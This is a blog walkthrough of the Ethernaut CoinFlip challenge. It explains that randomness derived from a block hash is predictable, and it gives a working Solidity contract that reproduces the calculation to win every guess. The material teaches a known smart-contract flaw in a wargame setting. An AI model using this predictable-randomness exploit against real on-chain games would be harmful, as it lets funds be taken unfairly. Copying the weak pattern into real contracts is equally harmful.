DEV Community

Cover image for Daily Ethernaut Challenge - #3 CoinFlip
Turbo Panumarch
Turbo Panumarch

Posted on • Updated on

Daily Ethernaut Challenge - #3 CoinFlip

Why do I play this?

As I am looking for a way to learn Solidity faster and more fun, I happened to find Ethernaut made by @the_ethernaut and maintained by Openzeppelin team.

The concept is like the hacking game where we need to inspect and exploit the contract to achieve the given objective. So we would get to have hands-on learning experiences as well. ❤️


Let's talk about the challenge

Today's challenge is #3 CoinFlip (Difficulty: 3/10). It is the contract that lets us guess the coin flip result. We have to magically guess it right 10 times consecutively.

Ok... it is SO EASY, the chance is as much as 0.1% for success. 😂

Link to play:
https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f


Challenge Analysis

This challenge demonstrates the simple security vulnerability of generating a random number. Generating random numbers is one of the most challenging problems to solve (alone).

The approach they took is to use the fixed seed factor to apply to the block hash, then get the side as below.

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
Enter fullscreen mode Exit fullscreen mode

There is a flaw in generating a random number

The flaw is that this way of generating a random number is deterministic, anyone can reproduce the process and get the same number. As long as we can access the same block hash, it is guaranteed to reach the same result.


Solving the Challenge

To reach the solution, we need to answer some of these challenges.

1. How can we pre-generate the random result?

One way is to create a smart contract to retrieve the same block hash, then calculate and guess the result in one go.

2. How can we get to 10 consecutive wins?

The CoinFlip contract in the challenge prevents us from doing multiple flips in the same block, so doing 10 flips in one go is not possible.

A brilliant idea I came up with is to manually submit the guess 10 times with my hand (ouch 😂). Please let me know if there is an easier way.

3. How can we call another contract from the solidity?

We can use the interface to call the target contract to execute the guessing instead.

Sample:

interface ICounter {
    function count() external view returns (uint);
}

contract Interaction {
    address counterAddr;

    function getCount() external view returns (uint) {
        return ICounter(counterAddr).count();
    }
}
Enter fullscreen mode Exit fullscreen mode

ref: https://www.quicknode.com/guides/solidity/how-to-call-another-smart-contract-from-your-solidity-code


Solution

Maybe you want to try to solve it yourself. But if you want to see how I solve it, here you are.

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

// Create an interface to call the target
interface ICoinFlip {
      function flip(bool _guess) external returns (bool);
}

contract HackCoinFlip {
    using SafeMath for uint256;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function flip() public returns (bool) {
        // Just copy the code from the target contract to reproduce the random number generation :)
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        // Change to your instance address
        ICoinFlip(COIN_FLIP_CONTRACT_ADDRESS).flip(side);

        return side;
    }
}
Enter fullscreen mode Exit fullscreen mode

I deployed the contract in Remix, then did manual work to call the function 10 times. And... done! (Don't forget to change the environment to Injected Web3 to match the Rinkeby network).

Sometimes the contract would fail if I did too frequently because they went into the same block and were rejected.

And to debug the result, I went back to the Ethernaut console to check the result. It is reaching 10, yay!
Debugging

And that's it. Thank you for reading and feel free to share how you solve it differently (or same) and discuss :)


Cover Photo by Andriyko Podilnyk on Unsplash

Top comments (0)